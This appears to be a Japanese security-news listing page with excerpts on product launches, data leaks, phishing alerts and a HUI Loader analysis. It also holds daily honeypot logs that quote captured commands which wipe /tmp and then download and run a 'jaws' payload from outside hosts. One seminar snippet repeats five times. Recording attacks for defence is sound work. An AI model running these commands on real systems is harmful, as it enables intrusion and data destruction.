サーバー暗号化支援サービス「Cipher Security Service」の提供を開始スモールスタートで高レベルのセキュリティ対策を支援 キヤノンマーケティングジャパングループのキヤノンITソリューションズ株式会社（本社：東京都港区、代表取締役社長：金澤　明、以下キヤノンITS）は、暗号化によりお客さまサーバー内の重要情報を保護する「Cipher Security Service（サイファー セキュリティ サービス）」を2022年5月16日より提供開始します。 情報システムの利便性が増すとともに、不正アクセスやサイバー攻撃など外部からの脅威は年々高度化、巧妙化しています。また、2022年4月には改正個人情報保護法が施行され、個人情報の漏えい時に個人情報保護委員会と個人への通知が義務化されるなど、情報の取り扱いに対する規制はますます厳しくなっています。 そのような状況下で、サーバーに保存さ

「NGAV」と「EDR」をセットで導入できる中堅企業向け次世代エンドポイントセキュリティソリューション「Cybereason Dual Core」を2022年5月16日より提供開始「Cybereason Core Suite」シリーズの新たなラインアップとして、サイバー攻撃の脅威が高まる中堅企業のセキュリティ強化を支援 AI（人工知能）を活用したサイバー攻撃対策プラットフォーム「Cybereason」を国内向けに提供するサイバーリーズン・ジャパン株式会社（本社：東京都中央区、CEO：アロン・ラスキン、以下「サイバーリーズン・ジャパン」）は、国内シェア1位※1の「Cybereason EDR」と「Cybereason MDRサービス」を低コスト※2・低負荷で導入・運用できる中堅企業向け次世代エンドポイントセキュリティソリューション「Cybereason Core Suite」シリーズの新しい

小～中規模の企業向けクラウドベース統合セキュリティ製品「Kaspersky Endpoint Security Cloud Pro」を提供開始～EDRと高度な検知機能でエンドポイントセキュリティを強化～ ---【概要】--- 情報セキュリティソリューションを提供する株式会社カスペルスキー（本社：東京都千代田区、代表取締役社長：小林岳夫）は、小～中規模の企業向けクラウドベースの統合セキュリティ製品「Kaspersky Endpoint Security Cloud（以下KES Cloud）」シリーズの最上位エディション「Kaspersky Endpoint Security Cloud Pro（以下KES Cloud Pro）」の標準年額版を、本日から提供開始します。法人を対象とし、パートナー経由で販売します。 また、現在販売中の中位エディション「Kaspersky Endpoint Sec

Zoomの高度なプラットフォームセキュリティを実現するための最新の認証とイノベーションについてのご紹介新しいグローバルな第三者認証の取得や製品機能の開発を通じたセキュリティとプライバシー保護の強化 カリフォルニア州サンノゼ、2022年5月16日 ―本日は、第三者認証の取得のほか、新機能の導入、セキュリティに関わる施策の実施などのZoomの活動についてご紹介いたします。Zoomはこのような様々な取り組みを通じて、ユーザーのセキュリティとプライバシーの保護を強化しております。 「Zoomは、安全性、セキュリティとプライバシーを意思決定の最重要事項とし、プラットフォームの強化に取り組んでおります。当社は引き続き、ユーザーが信頼してあらゆるオンライン上の交流やビジネスにご利用いただけるプラットフォームをご提供することに尽力いたします。」 Zoom最高情報セキュリティ責任者ジェイソン・リー 第三者認

IT Leaders トップ ＞ テクノロジー一覧 ＞ セキュリティ ＞ 新製品・サービス ＞ NGAV/EDRをセットにした中堅企業向けエンドポイントセキュリティ製品「Cybereason Dual Core」 セキュリティ セキュリティ記事一覧へ [新製品・サービス] NGAV/EDRをセットにした中堅企業向けエンドポイントセキュリティ製品「Cybereason Dual Core」 2022年5月17日(火)IT Leaders編集部 リスト サイバーリーズン・ジャパンは2022年5月16日、NGAV/EDRパッケージ「Cybereason Dual Core」を提供開始した。中小企業に向けて、ウイルス対策ソフトウェア「Cybereason Endpoint Prevention Core」とEDRソフトウェア「Cybereason EDR Core」をセットにした製品である。合わせ

中小企業に安心安全なテレワーク環境を サイバーセキュリティ対策と働き方改革支援の統合サービスサイバーセキュリティカンパニー２社が協同開発 サイバーセキュリティカンパニーの株式会社フーバーブレイン（本社：東京都千代田区、代表取締役社長：輿水 英行、東証グロース3927、以下、フーバーブレイン）と、チェック・ポイント・ソフトウェア・テクノロジーズ（Check Point® Software Technologies Ltd. 、NASDAQ：CHKP、以下、チェック・ポイント）は、両社が提供する働き方改革支援製品とセキュリティ製品のサービス連携を目的とした協同開発を開始します。 フーバーブレインとチェック・ポイントは、場所・時間を問わず安心安全に働ける環境を実現できるソリューションを提供するため、協同開発を開始します。フーバーブレインの働き方改革支援製品「Eye“247” Work Smart

関連キーワード Apple | 脆弱性 Appleのバグ報奨金・脆弱（ぜいじゃく）性報告プログラム「Apple Security Bounty」（ASB：Appleセキュリティバウンティ）における同社の応対の改善を、複数のセキュリティ研究者が好意的に感じている。ミニブログ「Twitter」で「08Tc3wBB」と名乗る匿名の研究者も、「Appleの応対にはこのところ、全体的に改善がみられる」と語る。 「素っ気ない自動応答メッセージと、それ以降は何カ月もの沈黙が続くだけだった」。ASBが一般の研究者から報告を受け付けるようになる前の2016、2017年におけるAppleの反応を、08Tc3wBB氏はそう振り返る。 2020年に入るとその状況に変化が表れた。Appleは最初の返信後すぐに、追加のメールを送るようになった。その変化を08Tc3wBB氏は、米TechTargetへのメールにこう記し

「勤次郎株式会社（本社：東京都千代田区、社長：加村光造）は、中国特許庁（中国専利局：Chinese Patent Office）から、労務管理システム、労務管理方法、および、労務管理プログラムに関する発明について、特許査定を受けました。（特許登録手続き中） 健康情報と労務・人事情報の相関関係を見える化 当社は、「働き方改革＆健康経営Ⓡの取り組みによる労働生産性向上」をコンセプトとして、労務情報管理「Universal勤次郎」と健康情報管理「ヘルス×ライフ」のサービスをご提供しております。 ヘルスケア情報（健康診断結果、ストレスチェック結果）を、当社提供の「HRM＆HLデータサービスプラットフォーム」により、働き方情報と健康情報を統合データ管理することで、企業や一般利用者、自治体、医療機関等が横断的に有効活用できる仕組みを開発、提供しております。 この度、中国特許庁にて、これらに関連した労務

サービス終了のお知らせ SankeiBizは、2022年12月26日をもちましてサービスを終了させていただきました。長らくのご愛読、誠にありがとうございました。 産経デジタルがお送りする経済ニュースは「iza! 経済ニュース」でお楽しみください。 このページは5秒後に「iza!経済ニュース」（https://www.iza.ne.jp/economy/）に転送されます。 ページが切り替わらない場合は以下のボタンから「iza! 経済ニュース」へ移動をお願いします。 iza! 経済ニュースへ

【教育報道】　特許庁／経産省は、令和四年四月二十八日にＨＰ及び「ＳＴＥＡＭライブラリ／経産省」にて『（高校の）授業で使える知財創造教育コンテンツ』を公表した。 計十四の本コンテンツは、高等学校の教職員・生徒が「総合的な探究の時間」等の普段の授業でそのまま活用できる。 知的財産権（知財）＝産業財産権＋α 産業財産権 特許権実用新案権意匠権商標権 ＋α 著作権回路配置権（半導体集積回路の回路配置法）育成者権（種苗法）地理的表示商品表示・商品形態（不正競争防止法）商号 「授業用説明スライド」「ワークシート」「指導案」で構成。本コンテンツを授業等で活用すると、ＳＤＧｓに関連する具体的な事例等から、知財のトピックを含む現代における諸課題等を踏まえた探究課題を設定でき、生徒自身が課題を発見し、解決していく為の資質・能力の向上に繋げる事ができる。 知財創造教育：内閣府が推進している取組み。児童・生徒へ「

米国とEUは3月末、プライバシー保護・データ転送に関する新たな枠組みの「原則」において合意したことを共同で発表した。2020年7月に失効した旧枠組み「EU-US Privacy Shield（以下、Privacy Shield）」に取って代わる「Privacy Shield 2.0」とも呼ばれる新しい枠組みに関する進展であり、海外メディアはGAFAMなどテック企業にとっての安心材料になるだろうと報じている。この新しい枠組みとはいかなるものか。 バークリー音大提携校で2年間ジャズ／音楽理論を学ぶ。その後、通訳・翻訳者を経て24歳で大学入学。学部では国際関係、修士では英大学院で経済・政治・哲学を専攻。国内コンサルティング会社、シンガポールの日系通信社を経てLivit参画。興味分野は、メディアテクノロジーの進化と社会変化。2014〜15年頃テックメディアの立ち上げにあたり、ドローンの可能性を模索

ハニーポット(仮) 観測記録 2022/05/09分です。 特徴 共通 PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス /.envへのスキャン行為 Location:JP GPONルータの脆弱性を狙うアクセス NetGear製品の脆弱性を狙うアクセス UserAgentがHello, Worldであるアクセス UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget a.tigoinari.tk/jaws; sh /tmp/jaws cd /tmp; rm -rf *; wget cs9archive.cf/jaws; sh /tmp/jaws cd /tmp; rm -rf *; wget tigoinari.tk/jaws; sh /tmp/jaw

ハニーポット(仮) 観測記録 2022/05/10分です。 特徴 共通 GPONルータの脆弱性を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス ThinkPHPの脆弱性を狙うアクセス zgrabによるスキャン行為 /.awsへのスキャン行為 /.envへのスキャン行為 Apache Solrへのスキャン行為 Apache Tomcatへのスキャン行為 Location:JP D-link製品の脆弱性を狙うアクセス /.gitへのスキャン行為 UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget jx.qingdaosheng.com/jaws; sh /tmp/jaws Location:US Apache HTTP Serverの脆

ハニーポット(仮) 観測記録 2022/05/11分です。 特徴 共通 Spring Bootの脆弱性を狙うアクセス zgrabによるスキャン行為 /.envへのスキャン行為 Location:JP GPONルータの脆弱性を狙うアクセス NetGear製品の脆弱性を狙うアクセス aiohttpによるスキャン行為 UserAgentがHello, Worldであるアクセス UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 209.141.59.94/jaws; sh /tmp/jaws Location:US Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス GPONルータの脆弱性を狙うアクセス Liferay Portal

ハニーポット(仮) 観測記録 2022/05/12分です。 特徴 共通 GPONルータの脆弱性を狙うアクセス /.envへのスキャン行為 Location:JP Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス Apache Struts 2の脆弱性(CVE-2020-17530)を狙うアクセス Apache Struts 2の脆弱性(S2-008)を狙うアクセス Comodo Firewallの脆弱性(CVE-2018-17431)を狙うアクセス D-link製品の脆弱性を狙うアクセス FCKEditorの脆弱性を狙うアクセス HP LinuxKIの脆弱性を狙うアクセス Movable Typeの脆弱性(CVE-2021-20837)を狙うアクセス Seagate

研修・セミナー・カンファレンス 2024.4.18(Thu) 8:10 ガートナー クラウドクッキング教室 ～ CCoE 構築の重要性 最後に、ハンキンス氏はクラウドセキュリティ全体像を戦略メニューとして図示した。上記で説明したソリューションやツール、各種フレームワークやプラットフォームが、機能や用途ごとに俯瞰できるものだ。この図は、ガートナーのクラウドセキュリティのコンサルティングの戦略ベースを示したものといってもよい。自社のセキュアクラウドを構築するときの「レシピ」として利用することができるだろう。

研修・セミナー・カンファレンス 2024.4.18(Thu) 8:10 ガートナー クラウドクッキング教室 ～ CCoE 構築の重要性 最後に、ハンキンス氏はクラウドセキュリティ全体像を戦略メニューとして図示した。上記で説明したソリューションやツール、各種フレームワークやプラットフォームが、機能や用途ごとに俯瞰できるものだ。この図は、ガートナーのクラウドセキュリティのコンサルティングの戦略ベースを示したものといってもよい。自社のセキュアクラウドを構築するときの「レシピ」として利用することができるだろう。

研修・セミナー・カンファレンス 2024.4.18(Thu) 8:10 ガートナー クラウドクッキング教室 ～ CCoE 構築の重要性 最後に、ハンキンス氏はクラウドセキュリティ全体像を戦略メニューとして図示した。上記で説明したソリューションやツール、各種フレームワークやプラットフォームが、機能や用途ごとに俯瞰できるものだ。この図は、ガートナーのクラウドセキュリティのコンサルティングの戦略ベースを示したものといってもよい。自社のセキュアクラウドを構築するときの「レシピ」として利用することができるだろう。

研修・セミナー・カンファレンス 2024.4.18(Thu) 8:10 ガートナー クラウドクッキング教室 ～ CCoE 構築の重要性 最後に、ハンキンス氏はクラウドセキュリティ全体像を戦略メニューとして図示した。上記で説明したソリューションやツール、各種フレームワークやプラットフォームが、機能や用途ごとに俯瞰できるものだ。この図は、ガートナーのクラウドセキュリティのコンサルティングの戦略ベースを示したものといってもよい。自社のセキュアクラウドを構築するときの「レシピ」として利用することができるだろう。

研修・セミナー・カンファレンス 2024.4.18(Thu) 8:10 ガートナー クラウドクッキング教室 ～ CCoE 構築の重要性 最後に、ハンキンス氏はクラウドセキュリティ全体像を戦略メニューとして図示した。上記で説明したソリューションやツール、各種フレームワークやプラットフォームが、機能や用途ごとに俯瞰できるものだ。この図は、ガートナーのクラウドセキュリティのコンサルティングの戦略ベースを示したものといってもよい。自社のセキュアクラウドを構築するときの「レシピ」として利用することができるだろう。

学生の顔写真や評価など、個人情報約5800人分漏えいの可能性でエイチームが謝罪　「リンクを知っている全員が閲覧可能」状態に エイチームは5月16日、新卒採用イベントに参加した人などの個人情報5857人分が、外部から閲覧可能になっていたと発表した。最長で6年以上前から閲覧が可能な状態だったという。原因は米Googleの個人向けクラウドサービス利用時の設定ミス。同日時点では閲覧可能だった情報の不正利用は確認していないという。設定もすでに修正済み。 閲覧可能だった情報の内訳は、（1）2018年3月、19年3月、20年3月、21年3月に卒業する学生を対象とした採用イベントやインターンシップに参加した人の氏名や学校名、顔写真、電話番号、評価など4588人分、（2）これらのイベントなどに参加したグループ社員の氏名、顔写真、所属部署など161人分、（3）16年から17年にかけて開催した中途採用イベントに

発表によると、ランサムウェアが侵入するよう改ざんされていたWebサイトからソフトウェアのダウンロードをおこなったことが不正アクセスの原因のようだ。 3月6日に不正アクセスが確認されただけでなく、ランサムウェアに感染したことによるデータの暗号化の被害もあったため、約1か月間、業務に遅れが発生していたのだという。 今後の対策として、社内におけるセキュリティ教育や不正アクセス発生時の対応を強化するとしている。 3月に起きた不正アクセスは、「デリシャスパーティ?プリキュア」、「ドラゴンクエスト ダイの大冒険」、「ONE PIECE」などの人気アニメの新話放送を数週間延期させるといった影響を与えた。 これによって、過去に放送した話を再度放送していた週もあったが、現在はアニメの制作も問題なく進められているといい、この件による個人情報の流出も確認されていない。 同社の再発防止策によって、今後はスケジュー

サカイ引越センターは、5月6日、従業員が個人情報を含む書類を一般ごみとして捨てていたことを明らかにした。 サカイ引越センターによれば、このことが起きたのは3月。 本当ならシュレッダーにかけるといった対応がされるはずだった、400人分以上にもおよぶ「氏名」「住所」「電話番号」などの個人情報が書かれた書類を、従業員1人が持ち帰った後に一般ごみとして捨てたという。 個人情報を含む書類が一般ごみとして捨てられていたことが明らかになったのは、4月に受けた通報がきっかけのようだ。 今回確認された約400人分以外に個人情報が外部へ漏れたかははっきりとわかっておらず、今後も調査を続けていくとしている。 世の中には、ごみ袋の中にある個人情報を狙っている人も存在するという。 氏名がわかれば、なりすましをすることも可能となり、電話番号や住所の情報があれば、ストーカーやセールスのターゲットとされる場合も考えられる

フィッシング対策協議会は、5月6日、フィッシング対策協議会を装ったフィッシングが確認されているとして注意喚起をした。 メールには、ネットショッピング認証サービス(3-DSecure) の導入を勧める内容が記載されており、専用リンクをクリックすると、VisaやMastercardのクレジットカード情報(生年月日、クレジットカード番号、セキュリティコード等)を入力を促すサイトへと移動するという。 フィッシング対策協議会によれば、5月6日11時の時点で、フィッシングサイトは稼働を続けているようなので引き続き注意をする必要があるだろう。 フィッシング対策協議会は、これまでの注意喚起で、個人情報の入力を求められた場合には同じようなフィッシングが起きていないか確認するよう呼びかけていた。 しかし、フィッシング対策協議会を装ったフィッシング行為が確認されたのは初めてであったため、不安を感じたり、警戒心が

日々最新の攻撃手法を学び、セキュリティ診断サービスで企業の情報システムの安全を守ることに従事する坂梨 元軌。NRIセキュアテクノロジーズに入社して4年目、現在は株式会社ユービーセキュアに出向する彼が、「正義のハッカー」として働くことの魅力を語りました。

OSSに関するセキュリティ・ツールの使い方・脆弱性等を紹介しています。 SELinux/Capability/AntiVirus/SCAP/SIEM/Threat Intelligence等。

攻撃者は、マルウェアの機能を隠蔽するために、マルウェア本体をエンコードし、実行時だけデコードして動作させることがあります。そのような場合、エンコードされたマルウェア本体は、ローダーと呼ばれるプログラムにロードされて、実行されます。このように、マルウェアをローダーとエンコードされたマルウェア本体に分割することで、ローダーの機能を最小限にし、マルウェアの重要な機能を隠蔽することで、感染ホスト上で発見することが難しくなります。 今回は、このようなローダーの中で、2015年頃から使用されているHUI Loaderについて解説します。 HUI Loaderの概要 HUI Loaderについては、JSAC2022にて複数の攻撃グループによって使用されていることが指摘[1]されているローダーです。JPCERT/CCでも、HUI Loaderを使用した攻撃を2015年頃から確認しています。図1は、HUI